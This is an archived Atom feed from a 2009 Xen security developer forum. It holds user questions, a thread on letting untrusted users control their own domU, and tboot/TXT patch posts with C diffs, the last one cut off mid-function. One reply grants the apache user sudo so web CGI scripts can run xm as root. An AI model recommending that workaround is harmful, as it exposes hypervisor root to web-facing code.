<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
	<id>tag:old.nabble.com,2006:forum-940</id>
	<title>Nabble - Xen - Security - Dev</title>
	<updated>2009-09-13T01:49:12Z</updated>
	<link rel="self" type="application/atom+xml" href="http://old.nabble.com/Xen---Security---Dev-f940.xml" />
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Xen---Security---Dev-f940.html" />
	<subtitle type="html"></subtitle>
	
<entry>
	<id>tag:old.nabble.com,2006:post-25421558</id>
	<title>How to check for open ports in domU from Dom0</title>
	<published>2009-09-13T01:49:12Z</published>
	<updated>2009-09-13T01:49:12Z</updated>
	<author>
		<name>Expo</name>
	</author>
	<content type="html">Are there any tools available which enables me to check from dom0 if domU has a particular port open 
&lt;br&gt;&lt;br&gt;Thanks</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/How-to-check-for-open-ports-in-domU-from-Dom0-tp25421558p25421558.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21988730</id>
	<title>Advantage of using Intel's Trusted Execution Technology</title>
	<published>2009-02-12T17:52:42Z</published>
	<updated>2009-02-12T17:52:42Z</updated>
	<author>
		<name>fluffie</name>
	</author>
	<content type="html">can somebody explain to me in layman's terms:
&lt;br&gt;if i use Xen with Intel's TXT, what advantage will it bring? 
&lt;br&gt;is it: 1) the hardware brings extra protection to the isolation between the different guest OS or
&lt;br&gt;2) the hardware ensures in some way the guest OS is isolated from the host OS.
&lt;br&gt;3) or simply TXT makes Xen run faster..?
&lt;br&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Advantage-of-using-Intel%27s-Trusted-Execution-Technology-tp21988730p21988730.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21790838</id>
	<title>Re: Managing DomU as non root</title>
	<published>2009-02-02T06:43:28Z</published>
	<updated>2009-02-02T06:43:28Z</updated>
	<author>
		<name>atatut</name>
	</author>
	<content type="html">PROBLEM SOLVED
&lt;br&gt;&lt;br&gt;I just added apache/or any other user to the sudoers then added the sudo command in front of my cgi script. This seems to have tricked the xend, so there's no need to have the xm command used as root.
&lt;br&gt;&lt;br&gt;It may not be the safest solution but it works.
&lt;br&gt;&lt;br&gt;Thanks,
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;blockquote class=&quot;quote light-black dark-border-color&quot;&gt;&lt;div class=&quot;quote light-border-color&quot;&gt;
&lt;div class=&quot;quote-author&quot; style=&quot;font-weight: bold;&quot;&gt;atatut wrote:&lt;/div&gt;
&lt;div class=&quot;quote-message shrinkable-quote&quot;&gt;Hi,
&lt;br&gt;&lt;br&gt;OS: Gentoo linux-2.6.26-gentoo-r4
&lt;br&gt;Xen: linux-2.6.18-xen-r12
&lt;br&gt;&lt;br&gt;I'm trying to use cgi shell scripts to allow different untrusted users to manage their own DomU without having root privileges.
&lt;br&gt;&lt;br&gt;The cgi shell script works, but of course whenever I try to run it from the web page I made, I receive the following message inside the apache/error.log:
&lt;br&gt;&lt;br&gt;Traceback (most recent call last):
&lt;br&gt;&amp;nbsp; File &amp;quot;/usr/sbin/xm&amp;quot;, line 8, in &amp;lt;module&amp;gt;
&lt;br&gt;&amp;nbsp; &amp;nbsp; from xen.xm import main
&lt;br&gt;&amp;nbsp; File &amp;quot;usr/lib64/python2.5/site-packages/xen/xm/main.py&amp;quot;, line 61, in &amp;lt;module&amp;gt;
&lt;br&gt;xen.lowlevel.xc.Error: (1, 'Internal error', 'Could not obtain handle on privileged command interface (13 = Permission denied)')
&lt;br&gt;&lt;br&gt;This, of course, means I have no privilege to use the &amp;quot;xm&amp;quot; command using that specific user. I will have to do it through root, but I cannot add unable users to the root group, which is anyway not enough to allow xm to run, nor have apache running with root.
&lt;br&gt;&lt;br&gt;Is there a way to achieve this in a secure fashion? Here's what I'd like to achieve:
&lt;br&gt;&lt;br&gt;- create one DomU for each of my colleagues
&lt;br&gt;- create one local user for each colleague on the dom0
&lt;br&gt;- create a vhost inside apache using the specific local user for each different vhost
&lt;br&gt;- allow only the specific user to execute cgi script &amp;quot;Restart/Stop/Start or whatever&amp;quot; for his specific domU
&lt;br&gt;&lt;br&gt;But the so-called security limitation of xen, preventing me to allow some other user but root to use the &amp;quot;xm&amp;quot; command is right now forcing me to adopt an unsecure schema by running apache with the root account which is suicidal. Sudo is not an option I think as xen wants specifically root to run the commands, if not mistaken.
&lt;br&gt;&lt;br&gt;Could someone help me clearing this out, I'm pretty sure I'm not the first to try that, but I couldn't find anything close to a solution googling.
&lt;br&gt;&lt;br&gt;Thanks folks!
&lt;/div&gt;
&lt;/div&gt;&lt;/blockquote&gt;
</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Managing-DomU-as-non-root-tp21790108p21790838.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21790108</id>
	<title>Managing DomU as non root</title>
	<published>2009-02-02T05:58:50Z</published>
	<updated>2009-02-02T05:58:50Z</updated>
	<author>
		<name>atatut</name>
	</author>
	<content type="html">Hi,
&lt;br&gt;&lt;br&gt;OS: Gentoo linux-2.6.26-gentoo-r4
&lt;br&gt;Xen: linux-2.6.18-xen-r12
&lt;br&gt;&lt;br&gt;I'm trying to use cgi shell scripts to allow different untrusted users to manage their own DomU without having root privileges.
&lt;br&gt;&lt;br&gt;The cgi shell script works, but of course whenever I try to run it from the web page I made, I receive the following message inside the apache/error.log:
&lt;br&gt;&lt;br&gt;Traceback (most recent call last):
&lt;br&gt;&amp;nbsp; File &amp;quot;/usr/sbin/xm&amp;quot;, line 8, in &amp;lt;module&amp;gt;
&lt;br&gt;&amp;nbsp; &amp;nbsp; from xen.xm import main
&lt;br&gt;&amp;nbsp; File &amp;quot;usr/lib64/python2.5/site-packages/xen/xm/main.py&amp;quot;, line 61, in &amp;lt;module&amp;gt;
&lt;br&gt;xen.lowlevel.xc.Error: (1, 'Internal error', 'Could not obtain handle on privileged command interface (13 = Permission denied)')
&lt;br&gt;&lt;br&gt;This, of course, means I have no privilege to use the &amp;quot;xm&amp;quot; command using that specific user. I will have to do it through root, but I cannot add unable users to the root group, which is anyway not enough to allow xm to run, nor have apache running with root.
&lt;br&gt;&lt;br&gt;Is there a way to achieve this in a secure fashion? Here's what I'd like to achieve:
&lt;br&gt;&lt;br&gt;- create one DomU for each of my colleagues
&lt;br&gt;- create one local user for each colleague on the dom0
&lt;br&gt;- create a vhost inside apache using the specific local user for each different vhost
&lt;br&gt;- allow only the specific user to execute cgi script &amp;quot;Restart/Stop/Start or whatever&amp;quot; for his specific domU
&lt;br&gt;&lt;br&gt;But the so-called security limitation of xen, preventing me to allow some other user but root to use the &amp;quot;xm&amp;quot; command is right now forcing me to adopt an unsecure schema by running apache with the root account which is suicidal. Sudo is not an option I think as xen wants specifically root to run the commands, if not mistaken.
&lt;br&gt;&lt;br&gt;Could someone help me clearing this out, I'm pretty sure I'm not the first to try that, but I couldn't find anything close to a solution googling.
&lt;br&gt;&lt;br&gt;Thanks folks!</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Managing-DomU-as-non-root-tp21790108p21790108.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21728628</id>
	<title>RE: [PATCH v2] txt: 0/5 - Overview</title>
	<published>2009-01-29T07:04:49Z</published>
	<updated>2009-01-29T07:04:49Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">&lt;div class='shrinkable-quote'&gt;&amp;gt; From: Ross Philipson [mailto:&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21728628&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Ross.Philipson@...&lt;/a&gt;]
&lt;br&gt;&amp;gt; Sent: Thursday, January 29, 2009 5:58 AM
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; Joe,
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; So if I read this correctly, the current tboot.hg repo on bughost does not have the new
&lt;br&gt;&amp;gt; patches and therefore will work with older versions on xen (without your latest patches),
&lt;br&gt;&amp;gt; correct? Are you going to be putting the patches in the main tboot repo or are you going to
&lt;br&gt;&amp;gt; branch it - how will you make tboot available for both cases?
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; Thanks
&lt;br&gt;&amp;gt; Ross
&lt;/div&gt;&lt;br&gt;I will create a new tarball today for the latest pre-change tboot code and then I will check in the changes once the corresponding Xen changes are accepted. &amp;nbsp;The next set of Linux patches will also be based on the new tboot code.
&lt;br&gt;&lt;br&gt;To the best of my knowledge, the only commercial distro with a Xen version &amp;gt;=3.2 is SLES10SP2 and SLES11 and so I'm not intending to support the earlier versions of tboot. &amp;nbsp;Also, the Xen changes are not that large and are mostly independent of anything in Xen that changed since 3.2, so it should not be hard to backport them is there is interest.
&lt;br&gt;&lt;br&gt;Joe
&lt;br&gt;&lt;div class='shrinkable-quote'&gt;&lt;br&gt;&amp;gt; -----Original Message-----
&lt;br&gt;&amp;gt; From: &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21728628&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xen-devel-bounces@...&lt;/a&gt; [mailto:&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21728628&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xen-devel-bounces@...&lt;/a&gt;] On
&lt;br&gt;&amp;gt; Behalf Of Cihula, Joseph
&lt;br&gt;&amp;gt; Sent: Thursday, January 29, 2009 3:55 AM
&lt;br&gt;&amp;gt; To: '&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21728628&amp;i=3&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xen-devel@...&lt;/a&gt;'; &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21728628&amp;i=4&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;xense-devel@...&lt;/a&gt;
&lt;br&gt;&amp;gt; Cc: Wang, Shane; Keir Fraser
&lt;br&gt;&amp;gt; Subject: [Xen-devel] [PATCH v2] txt: 0/5 - Overview
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; This patch series are changes to Xen to support new functionality, and a changed API, in the
&lt;br&gt;&amp;gt; tboot project (see &lt;a href=&quot;http://sourceforge.net/projects/tboot&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/tboot&lt;/a&gt;&amp;nbsp;for more info about tboot). &amp;nbsp;Some of
&lt;br&gt;&amp;gt; these changes originated from comments received when the first set of Linux tboot/Intel(r) TXT
&lt;br&gt;&amp;gt; patches were posted to LKML.
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; Attached to this patch is a single patch to be applied to the current tip of the tboot source
&lt;br&gt;&amp;gt; tree (located at &lt;a href=&quot;http://www.bughost.org/repos.hg/tboot.hg&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.bughost.org/repos.hg/tboot.hg&lt;/a&gt;). &amp;nbsp;Due to the API change, for those
&lt;br&gt;&amp;gt; who wish to test the patches, it would be best to apply all of the tboot patch at once and
&lt;br&gt;&amp;gt; test with all of the Xen patches applied to Xen.
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; Since the API changes are not backwards compatible, the resulting tboot will not work with a
&lt;br&gt;&amp;gt; Xen that does not have the patches applied. &amp;nbsp;Likewise, a Xen with these patches applied will
&lt;br&gt;&amp;gt; not work with the un-patched tboot. &amp;nbsp;To keep backward compatibility would have left the
&lt;br&gt;&amp;gt; interface and code fairly ugly and didn't seem worth the trouble.
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; The Xen patches are as follows:
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; xen-txt-01-unified_shutdown_entry.patch &amp;nbsp; &amp;nbsp;- single tboot entry point for shutdown
&lt;br&gt;&amp;gt; xen-txt-02c-acpi_gas_support.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - ACPI Generic Address Structure for tboot shutdown
&lt;br&gt;&amp;gt; xen-txt-03c-protect_txt_ranges.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; - explicitly protect TXT addr ranges from dom0
&lt;br&gt;&amp;gt; xen-txt-04c-hypervisor_s3_integrity.patch &amp;nbsp;- hypervisor integrity on S3
&lt;br&gt;&amp;gt; xen-txt-05b-use_protected_dmar.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; - use TXT's DMA-protected DMAR table to setup VT-d
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; We are currently working on a patch that will extend the S3 integrity to domains, as
&lt;br&gt;&amp;gt; configurable via a domain's config file (and always for dom0).
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; The patches apply cleanly to the latest xen-unstable (c/s 19104:31983c30c460).
&lt;br&gt;&amp;gt;
&lt;br&gt;&amp;gt; Joe and Shane
&lt;/div&gt;&lt;br&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21728628&amp;i=5&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH-v2--txt%3A-0-5---Overview-tp21723032p21728628.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21723111</id>
	<title>[PATCH v2] txt: 5/5 - use TXT's DMA-protected DMAR table to setup VT-d</title>
	<published>2009-01-29T00:56:05Z</published>
	<updated>2009-01-29T00:56:05Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">The VT-d DMAR ACPI tables may not be DMA protected by tboot. &amp;nbsp;However, SINIT saves a copy of them in the SinitMleData struct in the TXT heap (which is DMA protected). &amp;nbsp;So we should read the DMAR table from that copy if launched by tboot.
&lt;br&gt;&lt;br&gt;Signed-off-by: Joseph Cihula &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723111&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;diff -r 28d9dd8e3a81 -r e9325545f67c xen/arch/x86/tboot.c
&lt;br&gt;--- a/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 18:23:38 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 18:42:51 2009 -0800
&lt;br&gt;@@ -20,6 +20,10 @@ static const uuid_t tboot_shared_uuid =
&lt;br&gt;&lt;br&gt;&amp;nbsp;extern char __init_begin[], __per_cpu_start[], __per_cpu_end[], __bss_start[];
&lt;br&gt;&lt;br&gt;+/* used by tboot_protect_mem_regions() and/or tboot_parse_dmar_table() */
&lt;br&gt;+static uint64_t txt_heap_base, txt_heap_size;
&lt;br&gt;+static uint64_t sinit_base, sinit_size;
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;/*
&lt;br&gt;&amp;nbsp; * TXT configuration registers (offsets from TXT_{PUB, PRIV}_CONFIG_REGS_BASE)
&lt;br&gt;&amp;nbsp; */
&lt;br&gt;@@ -37,10 +41,33 @@ extern char __init_begin[], __per_cpu_st
&lt;br&gt;&amp;nbsp;#define TXTCR_HEAP_BASE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x0300
&lt;br&gt;&amp;nbsp;#define TXTCR_HEAP_SIZE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x0308
&lt;br&gt;&lt;br&gt;+#define SHA1_SIZE &amp;nbsp; &amp;nbsp; &amp;nbsp;20
&lt;br&gt;+typedef uint8_t &amp;nbsp; sha1_hash_t[SHA1_SIZE];
&lt;br&gt;+
&lt;br&gt;+typedef struct __packed {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; version; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* currently 6 */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sha1_hash_t &amp;nbsp;bios_acm_id;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; edx_senter_flags;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint64_t &amp;nbsp; &amp;nbsp; mseg_valid;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sha1_hash_t &amp;nbsp;sinit_hash;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sha1_hash_t &amp;nbsp;mle_hash;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sha1_hash_t &amp;nbsp;stm_hash;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sha1_hash_t &amp;nbsp;lcp_policy_hash;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; lcp_policy_control;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; rlp_wakeup_addr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; reserved;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; num_mdrs;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; mdrs_off;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; num_vtd_dmars;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp; vtd_dmars_off;
&lt;br&gt;+} sinit_mle_data_t;
&lt;br&gt;+
&lt;br&gt;&amp;nbsp;void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;tboot_shared_t *tboot_shared;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;unsigned long p_tboot_shared;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t map_base, map_size;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;unsigned long map_addr;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* Look for valid page-aligned address for shared page. */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;p_tboot_shared = simple_strtoul(opt_tboot, NULL, 0);
&lt;br&gt;@@ -68,6 +95,30 @@ void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;shutdown_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;shutdown_entry);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_base: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_size: 0x%x\n&amp;quot;, tboot_shared-&amp;gt;tboot_size);
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* these will be needed by tboot_protect_mem_regions() and/or
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; tboot_parse_dmar_table(), so get them now */
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(TXT_PUB_CONFIG_REGS_BASE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_size = PFN_UP(NR_TXT_CONFIG_PAGES * PAGE_SIZE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_addr = (unsigned long)__va(map_base &amp;lt;&amp;lt; PAGE_SHIFT);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( map_pages_to_xen(map_addr, map_base, map_size, __PAGE_HYPERVISOR) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* TXT Heap */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;txt_heap_base =
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_HEAP_BASE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;txt_heap_size =
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_HEAP_SIZE);
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* SINIT */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sinit_base =
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_SINIT_BASE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;sinit_size =
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;*(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_SINIT_SIZE);
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;destroy_xen_mappings((unsigned long)__va(map_base &amp;lt;&amp;lt; PAGE_SHIFT),
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (unsigned long)__va((map_base + map_size) &amp;lt;&amp;lt; PAGE_SHIFT));
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;&amp;nbsp;void tboot_shutdown(uint32_t shutdown_type)
&lt;br&gt;@@ -125,29 +176,18 @@ int tboot_in_measured_env(void)
&lt;br&gt;&lt;br&gt;&amp;nbsp;int tboot_protect_mem_regions(void)
&lt;br&gt;&amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint64_t base, size;
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint32_t map_base, map_size;
&lt;br&gt;- &amp;nbsp; &amp;nbsp;unsigned long map_addr;
&lt;br&gt;-
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;if ( !tboot_in_measured_env() )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 1;
&lt;br&gt;&lt;br&gt;- &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(TXT_PUB_CONFIG_REGS_BASE);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;map_size = PFN_UP(NR_TXT_CONFIG_PAGES * PAGE_SIZE);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;map_addr = (unsigned long)__va(map_base &amp;lt;&amp;lt; PAGE_SHIFT);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;if ( map_pages_to_xen(map_addr, map_base, map_size, __PAGE_HYPERVISOR) )
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;-
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* TXT Heap */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;base = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_HEAP_BASE);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;size = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_HEAP_SIZE);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;if ( !reserve_e820_unusable(&amp;e820, base, base + size) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( txt_heap_base == 0 ||
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; !reserve_e820_unusable(&amp;e820, txt_heap_base,
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;txt_heap_base + txt_heap_size) )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* SINIT */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;base = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_SINIT_BASE);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;size = *(uint64_t *)__va(TXT_PUB_CONFIG_REGS_BASE + TXTCR_SINIT_SIZE);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;if ( !reserve_e820_unusable(&amp;e820, base, base + size) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( sinit_base == 0 ||
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; !reserve_e820_unusable(&amp;e820, sinit_base, sinit_base + sinit_size) )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* TXT Private Space */
&lt;br&gt;@@ -155,10 +195,60 @@ int tboot_protect_mem_regions(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;TXT_PRIV_CONFIG_REGS_BASE + NR_TXT_CONFIG_PAGES * PAGE_SIZE) )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0;
&lt;br&gt;&lt;br&gt;+ &amp;nbsp; &amp;nbsp;return 1;
&lt;br&gt;+}
&lt;br&gt;+
&lt;br&gt;+int __init tboot_parse_dmar_table(acpi_table_handler dmar_handler)
&lt;br&gt;+{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t map_base, map_size;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;unsigned long map_vaddr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;void *heap_ptr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;struct acpi_table_header *dmar_table;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;int rc;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( !tboot_in_measured_env() )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return acpi_table_parse(ACPI_SIG_DMAR, dmar_handler);
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* ACPI tables may not be DMA protected by tboot, so use DMAR copy */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* SINIT saved in SinitMleData in TXT heap (which is DMA protected) */
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( txt_heap_base == 0 )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 1;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* map TXT heap into Xen addr space */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(txt_heap_base);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_size = PFN_UP(txt_heap_size);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_vaddr = (unsigned long)__va(map_base &amp;lt;&amp;lt; PAGE_SHIFT);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( map_pages_to_xen(map_vaddr, map_base, map_size, __PAGE_HYPERVISOR) )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 1;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* walk heap to SinitMleData */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;heap_ptr = __va(txt_heap_base);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* skip BiosData */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;heap_ptr += *(uint64_t *)heap_ptr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* skip OsMleData */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;heap_ptr += *(uint64_t *)heap_ptr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* skip OsSinitData */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;heap_ptr += *(uint64_t *)heap_ptr;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* now points to SinitMleDataSize; set to SinitMleData */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;heap_ptr += sizeof(uint64_t);
